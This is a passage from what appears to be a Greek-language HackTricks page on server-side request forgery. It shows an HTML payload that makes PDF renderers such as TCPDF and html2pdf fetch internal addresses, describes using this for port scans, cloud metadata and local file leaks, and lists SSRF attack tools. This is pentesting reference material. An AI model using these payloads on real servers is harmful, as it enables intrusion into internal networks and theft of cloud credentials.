  • Αποτέλεσμα: ο επιτιθέμενος βλέπει κάθε header + τα μεταδεδομένα JSON, στόχος επιτευχθεί.

Σημειώστε ότι αυτό είναι ενδιαφέρον για να leak status codes που δεν μπορούσατε να leak προηγουμένως (όπως ένα 200). Ωστόσο, αν με κάποιο τρόπο μπορούσατε επίσης να επιλέξετε τον status code της απάντησης (φανταστείτε ότι μπορείτε να αποφασίσετε ότι τα AWS metadata απαντούν με status code 500), ίσως υπάρχουν μερικοί status codes που leak απευθείας το περιεχόμενο της απάντησης.

HTML-to-PDF renderers as blind SSRF gadgets

Βιβλιοθήκες όπως TCPDF (και wrappers όπως spipu/html2pdf) θα ανακτούν αυτόματα οποιεσδήποτε URLs υπάρχουν σε attacker-controlled HTML κατά τη δημιουργία ενός PDF. Κάθε <img> ή <link rel="stylesheet"> attribute επιλύεται server-side μέσω cURL, getimagesize(), ή file_get_contents(), οπότε μπορείτε να κατευθύνετε τον PDF worker να εξετάσει εσωτερικούς hosts ακόμη και αν καμία HTTP απάντηση δεν σας επιστραφεί.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • Η TCPDF 6.10.0 εκτελεί πολλές προσπάθειες ανάκτησης για κάθε <img> resource, οπότε ένα μόνο payload μπορεί να δημιουργήσει πολλαπλά requests (χρήσιμο για timing-based port scans).
  • Το html2pdf αντιγράφει τη συμπεριφορά της TCPDF για τα <img> και προσθέτει ανάκτηση CSS μέσα στο Css::extractStyle(), που απλώς καλεί file_get_contents($href) μετά από έναν επιφανειακό έλεγχο scheme. Κακοποιήστε το για να προσβάλετε loopback services, RFC1918 ranges, ή cloud metadata endpoints.
  • Συνδυάστε αυτό το SSRF primitive με τα HTML-to-PDF path traversal tricks για να leak τόσο internal HTTP responses όσο και local files που αποτυπώνονται στο PDF.

Οι hardeners θα πρέπει να αφαιρούν external URLs πριν από το rendering ή να απομονώνουν τον renderer σε network sandbox· μέχρι τότε, θεωρήστε τους PDF generators ως blind SSRF proxies.

Εκμετάλλευση SSRF σε cloud περιβάλλον

Αν βρείτε μια SSRF ευπάθεια σε μια μηχανή που τρέχει μέσα σε cloud περιβάλλον, μπορεί να καταφέρετε να αποκτήσετε ενδιαφέρουσες πληροφορίες για το cloud περιβάλλον και ακόμη credentials:

Cloud SSRF

Πλατφόρμες ευάλωτες σε SSRF

Πολλές γνωστές πλατφόρμες περιέχουν ή περιείχαν SSRF ευπάθειες — ελέγξτε τις στο:

SSRF Vulnerable Platforms

Εργαλεία

SSRFMap

Εργαλείο για τον εντοπισμό και την εκμετάλλευση SSRF ευπαθειών

Gopherus

Αυτό το εργαλείο δημιουργεί Gopher payloads για:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser είναι ένας vulnerability scanner για Java RMI που υποστηρίζει attack operations για τις πιο κοινές Java RMI ευπάθειες. Οι περισσότερες διαθέσιμες operations υποστηρίζουν την επιλογή --ssrf, για να δημιουργήσουν ένα SSRF payload για την αιτούμενη operation. Μαζί με την επιλογή --gopher, μπορούν να παραχθούν απευθείας έτοιμα gopher payloads.

SSRF Proxy

Το SSRF Proxy είναι ένας multi-threaded HTTP proxy server σχεδιασμένος να τούνελάρει client HTTP traffic μέσω HTTP servers ευάλωτων σε Server-Side Request Forgery (SSRF).

Για πρακτική

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack \xc2\xb7 GitHub

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks